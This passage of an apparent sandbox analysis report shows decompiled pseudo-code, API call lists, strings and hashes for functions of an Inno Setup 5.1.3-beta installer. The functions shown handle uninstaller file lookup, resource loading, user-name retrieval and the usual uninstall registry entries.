						if(E00406B20(_v332, 0x46cbe4) == 0 &&  *((intOrPtr*)(_v8 + 5)) + 0xd0 - 0xa < 0 &&  *((intOrPtr*)(_v8 + 6)) + 0xd0 - 0xa < 0 &&  *((intOrPtr*)(_v8 + 7)) + 0xd0 - 0xa < 0 &&  *((char*)(_v8 + 8)) == 0x2e) {
							E004038C0(_v8, 3, 6,  &_v332);
							 *((char*)(_a4 + E00406E2C(_v332, 3) - 0x3ec)) = 1;
						}
					}
				} while (FindNextFileA(_t79,  &_v328) != 0);
				FindClose(_t79);
				goto L10;
			}

0x0046ca76
0x0046ca7c
0x0046ca81
0x0046ca82
0x0046ca87
0x0046ca8a
0x0046caa0
0x0046cab0
0x0046cac1
0x0046cac6
0x0046cacb
0x0046cb99
0x0046cb9b
0x0046cb9e
0x0046cba1
0x0046cbac
0x0046cbb9
0x00000000
0x00000000
0x00000000
0x0046cad1
0x0046cad1
0x0046cadf
0x0046caef
0x0046cb09
0x0046cb20
0x0046cb63
0x0046cb76
0x0046cb76
0x0046cb20
0x0046cb8b
0x0046cb94
0x00000000

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,0046CBBA,?,?,00000001,004AE064), ref: 0046CAC1
FindNextFileA.KERNEL32(00000000,?,00000000,?,00000000,0046CBBA,?,?,00000001,004AE064), ref: 0046CB86
FindClose.KERNEL32(00000000,00000000,?,00000000,?,00000000,0046CBBA,?,?,00000001,004AE064), ref: 0046CB94

Strings

unins???.*, xrefs: 0046CAAB
unins, xrefs: 0046CB14

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID: unins$unins???.*
API String ID: 3541575487-1009660736
Opcode ID: d700b9c545a9994b5c3b730b0a7a978ab037565f1b3ba8acce1da6d75ab2e347
Instruction ID: bd5d868bda387e2be4f3073c311abf9aee2bd974f87f11138952fbe5140f0b69
Opcode Fuzzy Hash: d700b9c545a9994b5c3b730b0a7a978ab037565f1b3ba8acce1da6d75ab2e347
Instruction Fuzzy Hash: 193195705001489FDB10DF65C9D2AEEB7B8EF05714F1044F6E848E72A1EA38AF419F59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B090 Relevance: 3.1, APIs: 2, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0040B090(void* __eax, intOrPtr* __edx, void* __edi) {
				intOrPtr _v8;
				void* __ebx;
				void* __ecx;
				void* __esi;
				void* __ebp;
				CHAR* _t8;
				struct HINSTANCE__* _t9;
				signed int _t10;
				signed int _t11;
				intOrPtr _t17;
				intOrPtr* _t22;
				struct HINSTANCE__* _t26;
				void* _t30;
				intOrPtr _t33;
				void* _t36;
				intOrPtr _t39;
				intOrPtr _t41;

				_t39 = _t41;
				_t22 = __edx;
				_t36 = __eax;
				_t8 = E00403880(__eax);
				_t9 =  *0x48d014; // 0x400000
				_t10 = FindResourceA(_t9, _t8, 0xa);
				_t30 = _t10;
				_t11 = _t10 & 0xffffff00 | _t30 != 0x00000000;
				_t43 = _t11;
				if(_t11 == 0) {
					return _t11;
				} else {
					FreeResource(_t30);
					_t26 =  *0x48d014; // 0x400000
					_v8 = E0040D204(_t26, 1, 0xa, _t36);
					_push(_t39);
					_push(0x40b108);
					_push( *[fs:eax]);
					 *[fs:eax] = _t41;
					_t17 = E0040CE5C(_v8, _t22,  *_t22, __edi, _t36, _t43); // executed
					 *_t22 = _t17;
					_pop(_t33);
					 *[fs:eax] = _t33;
					_push(E0040B10F);
					return E00402CA0(_v8);
				}
			}

0x0040b091
0x0040b096
0x0040b098
0x0040b09e
0x0040b0a4
0x0040b0aa
0x0040b0af
0x0040b0b3
0x0040b0b6
0x0040b0b8
0x0040b115
0x0040b0ba
0x0040b0bb
0x0040b0c3
0x0040b0d5
0x0040b0da
0x0040b0db
0x0040b0e0
0x0040b0e3
0x0040b0eb
0x0040b0f0
0x0040b0f4
0x0040b0f7
0x0040b0fa
0x0040b107
0x0040b107

APIs

FindResourceA.KERNEL32(00400000,00000000,0000000A), ref: 0040B0AA
FreeResource.KERNEL32(00000000,00400000,00000000,0000000A,F0E80040,00000000,?,?,0040B207,00000000,0040B21F,?,?,?,?), ref: 0040B0BB

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Resource$FindFree
String ID:
API String ID: 4097029671-0
Opcode ID: 50f5a74460d3a176a6f977901a7d044a6d0dfa0e12ce65c2d3060087e560ba68
Instruction ID: 2948fd6ecb2bac01dbc7c626b87b6ef8ebd01b03295fe5e1d9ce21df9001b452
Opcode Fuzzy Hash: 50f5a74460d3a176a6f977901a7d044a6d0dfa0e12ce65c2d3060087e560ba68
Instruction Fuzzy Hash: 5D01F271704700AFEB00EF65DC62A2A77ADDB49758B10807AF500AB3C1DA79AC0196AD

Uniqueness

Uniqueness Score: -1.00%

Function 0045157C Relevance: 3.0, APIs: 2, Instructions: 45
fileCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E0045157C(void* __eax, struct _WIN32_FIND_DATAA* __ecx, void* __edx, void* __eflags) {
				void* _v8;
				char _v16;
				long _v20;
				void* _t13;
				intOrPtr _t27;
				void* _t35;
				void* _t37;
				intOrPtr _t38;

				_t35 = _t37;
				_t38 = _t37 + 0xfffffff0;
				if(E004512D8(__eax,  &_v16) != 0) {
					_push(_t35);
					_push(0x4515df);
					_push( *[fs:eax]);
					 *[fs:eax] = _t38;
					_t13 = FindFirstFileA(E00403880(__edx), __ecx); // executed
					_v8 = _t13;
					_v20 = GetLastError();
					_pop(_t27);
					 *[fs:eax] = _t27;
					_push(E004515E6);
					return E00451314( &_v16);
				} else {
					_v8 = 0xffffffff;
					return _v8;
				}
			}

0x0045157d
0x0045157f
0x00451597
0x004515a4
0x004515a5
0x004515aa
0x004515ad
0x004515b9
0x004515be
0x004515c6
0x004515cb
0x004515ce
0x004515d1
0x004515de
0x00451599
0x00451599
0x004515f8
0x004515f8

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,004515DF,?,?,-00000001,00000000), ref: 004515B9
GetLastError.KERNEL32(00000000,?,00000000,004515DF,?,?,-00000001,00000000), ref: 004515C1

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ErrorFileFindFirstLast
String ID:
API String ID: 873889042-0
Opcode ID: 76bad61bc4f0af6580115bd8f885e78bebf0608dca1d0fd797f93b2829e49932
Instruction ID: 2b761596f2c387da0a8c0b3962020352b440c1ec696bd3da55d5cac075a31bc0
Opcode Fuzzy Hash: 76bad61bc4f0af6580115bd8f885e78bebf0608dca1d0fd797f93b2829e49932
Instruction Fuzzy Hash: 6AF0F931A04608BB8B10DBAA9C4159EF7ACDBC5735B5047BBFC14E36A2EA3C5E04855C

Uniqueness

Uniqueness Score: -1.00%

Function 004085FC Relevance: 1.5, APIs: 1, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004085FC(int __eax, void* __ecx, int __edx, intOrPtr _a4) {
				char _v260;
				int _t5;
				intOrPtr _t10;
				void* _t18;

				_t18 = __ecx;
				_t10 = _a4;
				_t5 = GetLocaleInfoA(__eax, __edx,  &_v260, 0x100); // executed
				_t19 = _t5;
				if(_t5 <= 0) {
					return E004035DC(_t10, _t18);
				}
				return E00403628(_t10, _t5 - 1,  &_v260, _t19);
			}

0x00408607
0x00408609
0x0040861a
0x0040861f
0x00408621
0x00000000
0x00408639
0x00000000

APIs

GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0048D4C0,00000001,?,004086C7,?,00000000,004087A6), ref: 0040861A

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 50010d0bf1e67ca20538272328d5149029ebf9eac084948c6b03a7b22ed785ee
Instruction ID: 68e9f664db1ed2bf8610cb003b0dcadfc033f39245ef36fc9a098e1ad1b74175
Opcode Fuzzy Hash: 50010d0bf1e67ca20538272328d5149029ebf9eac084948c6b03a7b22ed785ee
Instruction Fuzzy Hash: 41E0D83170021827D720A9594C86DF7725C975C350F40067FB949E73C2EDB59E8186ED

Uniqueness

Uniqueness Score: -1.00%

Function 00423C4C Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00423C4C(intOrPtr _a4) {
				intOrPtr _t26;

				_push( *((intOrPtr*)( *((intOrPtr*)(_a4 - 8)) + 8)));
				_push( *((intOrPtr*)( *((intOrPtr*)(_a4 - 8)) + 4)));
				_push( *((intOrPtr*)( *((intOrPtr*)(_a4 - 8)))));
				_t26 =  *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x20));
				_push(_t26); // executed
				L00405F3C(); // executed
				 *((intOrPtr*)( *((intOrPtr*)(_a4 - 8)) + 0xc)) = _t26;
				return _t26;
			}

0x00423c58
0x00423c62
0x00423c6b
0x00423c72
0x00423c75
0x00423c76
0x00423c81
0x00423c85

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?,?,00424219,?,00000000,00424224), ref: 00423C76

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: e1688769fd7bd0d6dab607fe8fc3e2e26ffd360abf5a591b42ec6747995d87bd
Instruction ID: ae68c2cdca38ef5850f0d921292574d88cfa71f32ebb703bed3c264f3a70824c
Opcode Fuzzy Hash: e1688769fd7bd0d6dab607fe8fc3e2e26ffd360abf5a591b42ec6747995d87bd
Instruction Fuzzy Hash: 1EF0C579205609AFDB40DF9DC588D4AFBE8FF4C260B058295B988CB321C234FD818F94

Uniqueness

Uniqueness Score: -1.00%

Function 00453D18 Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00453D18(void* __eax) {
				char _v260;
				int _t5;
				void* _t10;
				DWORD* _t13;

				_t13 =  &_v260;
				_t10 = __eax;
				 *_t13 = 0x100;
				_t5 = GetUserNameA( &_v260, _t13); // executed
				if(_t5 == 0) {
					return E00403548(_t10);
				}
				return E004036A4(_t10, 0x100,  &_v260);
			}

0x00453d19
0x00453d1f
0x00453d21
0x00453d2e
0x00453d35
0x00000000
0x00453d4b
0x00000000

APIs

GetUserNameA.ADVAPI32(?), ref: 00453D2E

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: cd4705463169736317c135c968e69caf56b8538c5319c1c6acdf40a0ccdc6785
Instruction ID: 9797e56fdedcf1d2bc2f92661db947174c304adb25379886e85f9db6f22e7329
Opcode Fuzzy Hash: cd4705463169736317c135c968e69caf56b8538c5319c1c6acdf40a0ccdc6785
Instruction Fuzzy Hash: 05D0C2B120420063C700AEAA9C816D676AC8B84312F10083F7C89CA3D3EABDCB9C465B

Uniqueness

Uniqueness Score: -1.00%

Function 00467A74 Relevance: 61.6, APIs: 1, Strings: 34, Instructions: 370
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E00467A74(void* __eax, void* __ebx, void* __edi, void* __esi, void* __fp0) {
				intOrPtr _v8;
				char _v12;
				void* _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				void* _t120;
				intOrPtr _t121;
				void* _t125;
				intOrPtr _t126;
				void* _t127;
				intOrPtr _t215;
				intOrPtr* _t236;
				void* _t254;
				intOrPtr _t255;
				intOrPtr _t267;
				void* _t270;
				void* _t273;
				void* _t279;
				void* _t281;
				void* _t283;
				void* _t285;
				void* _t287;
				void* _t289;
				void* _t291;
				void* _t293;
				void* _t295;
				intOrPtr _t307;
				intOrPtr _t309;
				intOrPtr _t311;
				void* _t318;
				intOrPtr _t334;
				intOrPtr _t340;
				intOrPtr _t344;
				intOrPtr _t366;
				intOrPtr _t368;
				intOrPtr _t380;
				void* _t385;
				void* _t387;
				void* _t388;
				intOrPtr _t389;
				void* _t402;

				_t402 = __fp0;
				_t383 = __edi;
				_t387 = _t388;
				_t389 = _t388 + 0xffffffe0;
				_push(__edi);
				_v24 = 0;
				_v12 = 0;
				_v20 = 0;
				_t385 = __eax;
				_push(_t387);
				_push(0x467fae);
				_push( *[fs:eax]);
				 *[fs:eax] = _t389;
				if( *0x4ae24a == 0) {
					_v8 = 0x80000001;
				} else {
					_v8 = 0x80000002;
				}
				_push("Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\");
				_push(_t385);
				_push("_is1");
				E0040377C();
				_t120 = E00403880(_v12);
				_t121 =  *0x48cb10; // 0x1, executed
				E0042DD58(_t121, 0x4ae064, _t120, 0x80000001, _t383, _t385); // executed
				if( *0x4ae24a != 0) {
					_t254 = E00403880(_v12);
					_t255 =  *0x48cb10; // 0x1, executed
					E0042DD58(_t255, 0x4ae064, _t254, 0x80000002, _t383, _t385); // executed
				}
				_t125 = E00403880(_v12);
				_t126 =  *0x48cb10; // 0x1, executed
				_t127 = E0042DC7C(_t126, _t125, _v8, 0,  &_v16, 0, 2, 0, 0, 0); // executed
				_t392 = _t127;
				if(_t127 != 0) {
					E004678B4(1, 0x4ae064, _v12, _v8, _t383, _t385, _t392, _t127);
				}
				_push(_t387);
				_push(0x467f5f);
				_push( *[fs:eax]);
				 *[fs:eax] = _t389;
				E004679D0(_v16, "5.1.3-beta", "Inno Setup: Setup Version", _t387); // executed
				if(( *0x004AE17C & 0x00000004) == 0) {
					E00403548( &_v20);
				} else {
					_t380 =  *0x4ae224; // 0x21a9aa8
					E004035DC( &_v20, _t380);
				}
				E004679D0(_v16, _v20, "Inno Setup: App Path", _t387); // executed
				E0042C4C4(_v20,  &_v24);
				E00467A18(_v16, _v24, "InstallLocation", _t387); // executed
				_t267 =  *0x4ae228; // 0x21aa9b0
				E004679D0(_v16, _t267, "Inno Setup: Icon Group", _t387); // executed
				if( *0x4ae22c != 0) {
					E00467A40(_v16, "Inno Setup: No Icons", _t387);
				}
				E00453D18( &_v24);
				E004679D0(_v16, _v24, "Inno Setup: User", _t387); // executed
				_pop(_t270);
				if( *0x4ae230 != 0) {
					_t236 =  *0x4ae230; // 0x0
					E004679D0(_v16,  *_t236, "Inno Setup: Setup Type", _t387);
					E004674C0( &_v24);
					E004679D0(_v16, _v24, "Inno Setup: Selected Components", _t387);
					_pop(_t318);
					E004674D4( &_v24, 0x4ae064, _t318, _t383, _t385);
					E004679D0(_v16, _v24, "Inno Setup: Deselected Components", _t387);
					_pop(_t270);
				}
				if( *0x4ae255 != 0) {
					E00467588( &_v24);
					E004679D0(_v16, _v24, "Inno Setup: Selected Tasks", _t387);
					E0046759C( &_v24, 0x4ae064, _t383, _t385);
					E004679D0(_v16, _v24, "Inno Setup: Deselected Tasks", _t387);
					_pop(_t270);
				}
				if(( *0x004AE180 & 0x00000001) != 0) {
					_t307 =  *0x4ae218; // 0x0
					E004679D0(_v16, _t307, "Inno Setup: User Info: Name", _t387);
					_t309 =  *0x4ae21c; // 0x0
					E004679D0(_v16, _t309, "Inno Setup: User Info: Organization", _t387);
					_t311 =  *0x4ae220; // 0x0
					E004679D0(_v16, _t311, "Inno Setup: User Info: Serial", _t387);
					_pop(_t270);
				}
				if( *0x004AE0A4 == 0) {
					_t334 =  *0x4ae274; // 0x2174a44
					E004035DC( &_v20, _t334);
				} else {
					E00471AF8( *((intOrPtr*)(0x4ae0a4)), _t270,  &_v20);
				}
				E004038C0(_v20, 0x3f, 1,  &_v24);
				E004679D0(_v16, _v24, "DisplayName", _t387); // executed
				_pop(_t273);
				E00471AF8( *0x004AE0A8, _t273,  &_v24);
				E00467A18(_v16, _v24, "DisplayIcon", _t387);
				E004035DC( &_v24, 0x4681c0);
				_t340 =  *0x4ae048; // 0x21a5610
				E004036C4( &_v24, _t340);
				E004036C4( &_v24, 0x4681c0);
				E004679D0(_v16, _v24, "UninstallString", _t387); // executed
				E004035DC( &_v24, 0x4681c0);
				_t344 =  *0x4ae048; // 0x21a5610
				E004036C4( &_v24, _t344);
				E004036C4( &_v24, "\" /SILENT");
				E004679D0(_v16, _v24, "QuietUninstallString", _t387); // executed
				_pop(_t279);
				E00471AF8( *0x004AE084, _t279,  &_v24);
				E00467A18(_v16, _v24, "DisplayVersion", _t387);
				_pop(_t281);
				E00471AF8( *0x004AE074, _t281,  &_v24);
				E00467A18(_v16, _v24, "Publisher", _t387);
				_pop(_t283);
				E00471AF8( *0x004AE078, _t283,  &_v24);
				E00467A18(_v16, _v24, "URLInfoAbout", _t387);
				_pop(_t285);
				E00471AF8( *0x004AE07C, _t285,  &_v24);
				E00467A18(_v16, _v24, "HelpLink", _t387);
				_pop(_t287);
				E00471AF8( *0x004AE080, _t287,  &_v24);
				E00467A18(_v16, _v24, "URLUpdateInfo", _t387);
				_pop(_t289);
				E00471AF8( *0x004AE0C0, _t289,  &_v24);
				E00467A18(_v16, _v24, "Readme", _t387);
				_pop(_t291);
				E00471AF8( *0x004AE0C4, _t291,  &_v24);
				E00467A18(_v16, _v24, "Contact", _t387);
				_pop(_t293);
				E00471AF8( *0x004AE0C8, _t293,  &_v24);
				E00467A18(_v16, _v24, "Comments", _t387);
				_pop(_t295);
				E00471AF8( *0x004AE0CC, _t295,  &_v20);
				if(_v20 == 0) {
					E00467A40(_v16, "NoModify", _t387); // executed
				} else {
					E004679D0(_v16, _v20, "ModifyPath", _t387);
				}
				E00467A40(_v16, "NoRepair", _t387); // executed
				_t400 =  *0x4ae290;
				if( *0x4ae290 != 0) {
					_push(_t387);
					_push(0x467f28);
					_push( *[fs:eax]);
					 *[fs:eax] = _t389;
					_v32 = _v16;
					_v28 = 0;
					_t215 =  *0x4ae290; // 0x2188110
					E00487A5C(_t215,  &_v32, "RegisterPreviousData", _t400, _t402, 0, 0);
					_pop(_t368);
					 *[fs:eax] = _t368;
				}
				_pop(_t366);
				 *[fs:eax] = _t366;
				_push(0x467f66);
				return RegCloseKey(_v16);
			}

0x00467a74
0x00467a74
0x00467a75
0x00467a77
0x00467a7c
0x00467a7f
0x00467a82
0x00467a85
0x00467a88
0x00467a91
0x00467a92
0x00467a97
0x00467a9a
0x00467aa4
0x00467aaf
0x00467aa6
0x00467aa6
0x00467aa6
0x00467ab6
0x00467abb
0x00467abc
0x00467ac9
0x00467ad1
0x00467add
0x00467ae2
0x00467aee
0x00467af3
0x00467aff
0x00467b04
0x00467b04
0x00467b1c
0x00467b26
0x00467b2b
0x00467b30
0x00467b32
0x00467b3d
0x00467b3d
0x00467b44
0x00467b45
0x00467b4a
0x00467b4d
0x00467b5e
0x00467b6b
0x00467b80
0x00467b6d
0x00467b70
0x00467b76
0x00467b76
0x00467b91
0x00467b9e
0x00467bae
0x00467bba
0x00467bc3
0x00467bd0
0x00467be0
0x00467be5
0x00467bea
0x00467bfa
0x00467bff
0x00467c07
0x00467c0a
0x00467c19
0x00467c23
0x00467c33
0x00467c38
0x00467c3d
0x00467c4d
0x00467c52
0x00467c52
0x00467c5a
0x00467c60
0x00467c70
0x00467c7a
0x00467c8a
0x00467c8f
0x00467c8f
0x00467c97
0x00467c9f
0x00467ca8
0x00467cb4
0x00467cbd
0x00467cc9
0x00467cd2
0x00467cd7
0x00467cd7
0x00467cdc
0x00467cee
0x00467cf4
0x00467cde
0x00467ce4
0x00467ce4
0x00467d0b
0x00467d1b
0x00467d20
0x00467d28
0x00467d38
0x00467d47
0x00467d4f
0x00467d55
0x00467d62
0x00467d72
0x00467d81
0x00467d89
0x00467d8f
0x00467d9c
0x00467dac
0x00467db1
0x00467db9
0x00467dc9
0x00467dce
0x00467dd6
0x00467de6
0x00467deb
0x00467df3
0x00467e03
0x00467e08
0x00467e10
0x00467e20
0x00467e25
0x00467e2d
0x00467e3d
0x00467e42
0x00467e4a
0x00467e5a
0x00467e5f
0x00467e67
0x00467e77
0x00467e7c
0x00467e84
0x00467e94
0x00467e99
0x00467ea0
0x00467ea9
0x00467ecd
0x00467eab
0x00467eb7
0x00467ebc
0x00467ee1
0x00467ee7
0x00467eee
0x00467ef2
0x00467ef3
0x00467ef8
0x00467efb
0x00467f05
0x00467f08
0x00467f14
0x00467f19
0x00467f20
0x00467f23
0x00467f23
0x00467f4a
0x00467f4d
0x00467f50
0x00467f5e

APIs

Part of subcall function 004679D0: 6C8D68C0.ADVAPI32(?,Inno Setup: Setup Version,00000000,00000001,00000000,00000001,?,00000001,004AE064,?,00467B63,?,00000000,00467F5F,?,_is1), ref: 004679F3

RegCloseKey.ADVAPI32(?,00467F66,?,_is1,00000001,Software\Microsoft\Windows\CurrentVersion\Uninstall\,00000000,00467FAE,?,?,00000001,004AE064), ref: 00467F59

Strings

Inno Setup: Setup Version, xrefs: 00467B51
Inno Setup: Deselected Tasks, xrefs: 00467C82
URLInfoAbout, xrefs: 00467DFB
ModifyPath, xrefs: 00467EAC
Inno Setup: Icon Group, xrefs: 00467BB5
DisplayVersion, xrefs: 00467DC1
Inno Setup: Deselected Components, xrefs: 00467C45
Inno Setup: Setup Type, xrefs: 00467C11
Inno Setup: Selected Components, xrefs: 00467C2B
HelpLink, xrefs: 00467E18
_is1, xrefs: 00467ABC
Inno Setup: Selected Tasks, xrefs: 00467C68
Inno Setup: User Info: Organization, xrefs: 00467CAF
Inno Setup: User Info: Name, xrefs: 00467C9A
Publisher, xrefs: 00467DDE
Inno Setup: User, xrefs: 00467BF2
Comments, xrefs: 00467E8C
Inno Setup: App Path, xrefs: 00467B86
NoModify, xrefs: 00467EC0
Inno Setup: User Info: Serial, xrefs: 00467CC4
RegisterPreviousData, xrefs: 00467F0F
DisplayName, xrefs: 00467D13
Software\Microsoft\Windows\CurrentVersion\Uninstall\, xrefs: 00467AB6
DisplayIcon, xrefs: 00467D30
NoRepair, xrefs: 00467ED4
Readme, xrefs: 00467E52
Contact, xrefs: 00467E6F
" /SILENT, xrefs: 00467D97
InstallLocation, xrefs: 00467BA6
5.1.3-beta, xrefs: 00467B56
QuietUninstallString, xrefs: 00467DA4
Inno Setup: No Icons, xrefs: 00467BD3
URLUpdateInfo, xrefs: 00467E35
UninstallString, xrefs: 00467D6A

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Close
String ID: " /SILENT$5.1.3-beta$Comments$Contact$DisplayIcon$DisplayName$DisplayVersion$HelpLink$Inno Setup: App Path$Inno Setup: Deselected Components$Inno Setup: Deselected Tasks$Inno Setup: Icon Group$Inno Setup: No Icons$Inno Setup: Selected Components$Inno Setup: Selected Tasks$Inno Setup: Setup Type$Inno Setup: Setup Version$Inno Setup: User$Inno Setup: User Info: Name$Inno Setup: User Info: Organization$Inno Setup: User Info: Serial$InstallLocation$ModifyPath$NoModify$NoRepair$Publisher$QuietUninstallString$Readme$RegisterPreviousData$Software\Microsoft\Windows\CurrentVersion\Uninstall\$URLInfoAbout$URLUpdateInfo$UninstallString$_is1
API String ID: 3535843008-636458346
Opcode ID: 59cd38be0d041d9e934462d5b7a6ab6a580f74edb2ad0cd9b93626c52c41492f
Instruction ID: 3e97a354083fd7acde89d56369ffd54066c112e9c336c80bd360b87899212aab
Opcode Fuzzy Hash: 59cd38be0d041d9e934462d5b7a6ab6a580f74edb2ad0cd9b93626c52c41492f
Instruction Fuzzy Hash: B3E1A770A041099BD704EB95D892AAF77B9EB44308F20856FE41077395EF78BE05CB6E

Uniqueness

Uniqueness Score: -1.00%

Function 004856F8 Relevance: 56.4, APIs: 16, Strings: 16, Instructions: 431
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E004856F8(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __fp0, intOrPtr _a4) {
				char _v5;
				char _v12;
				char _v16;
				long _t81;
				long _t90;
				signed int _t103;
				intOrPtr* _t111;
				long _t127;
				long _t135;
				int _t137;
				signed int _t140;
				long _t144;
				int _t146;
				signed int _t149;
				long _t153;
				int _t155;
				long _t169;
				int _t171;
				int _t173;
				signed int _t176;
				long _t180;
				int _t182;
				int _t184;
				signed int _t187;
				long _t191;
				int _t193;
				int _t195;
				struct HWND__* _t205;
				void* _t219;
				intOrPtr _t275;
				intOrPtr* _t367;
				intOrPtr* _t368;
				void* _t371;
				intOrPtr _t374;

				_t377 = __fp0;
				_t219 = __ecx;
				_t373 = _t374;
				_push(0);
				_push(0);
				_push(0);
				_push(__ebx);
				_t218 = _a4;
				_push(_t374);
				_push(0x485bed);
				_push( *[fs:eax]);
				 *[fs:eax] = _t374;
				_t371 =  *((intOrPtr*)(_a4 + 0xc)) - 1;
				_v5 = 1;
				E004037CC( *((intOrPtr*)(__edx + 0x10)), 0x485c08);
				if(_t371 != 0) {
					E004037CC( *((intOrPtr*)(__edx + 0x10)), "FINDWINDOWBYCLASSNAME");
					if(__eflags != 0) {
						E004037CC( *((intOrPtr*)(__edx + 0x10)), "FINDWINDOWBYWINDOWNAME");
						if(__eflags != 0) {
							E004037CC( *((intOrPtr*)(__edx + 0x10)), "SENDMESSAGE");
							if(__eflags != 0) {
								E004037CC( *((intOrPtr*)(__edx + 0x10)), "POSTMESSAGE");
								if(__eflags != 0) {
									E004037CC( *((intOrPtr*)(__edx + 0x10)), "SENDNOTIFYMESSAGE");
									if(__eflags != 0) {
										E004037CC( *((intOrPtr*)(__edx + 0x10)), "REGISTERWINDOWMESSAGE");
										if(__eflags != 0) {
											E004037CC( *((intOrPtr*)(__edx + 0x10)), "SENDBROADCASTMESSAGE");
											if(__eflags != 0) {
												E004037CC( *((intOrPtr*)(__edx + 0x10)), "POSTBROADCASTMESSAGE");
												if(__eflags != 0) {
													E004037CC( *((intOrPtr*)(__edx + 0x10)), "SENDBROADCASTNOTIFYMESSAGE");
													if(__eflags != 0) {
														E004037CC( *((intOrPtr*)(__edx + 0x10)), "LOADDLL");
														if(__eflags != 0) {
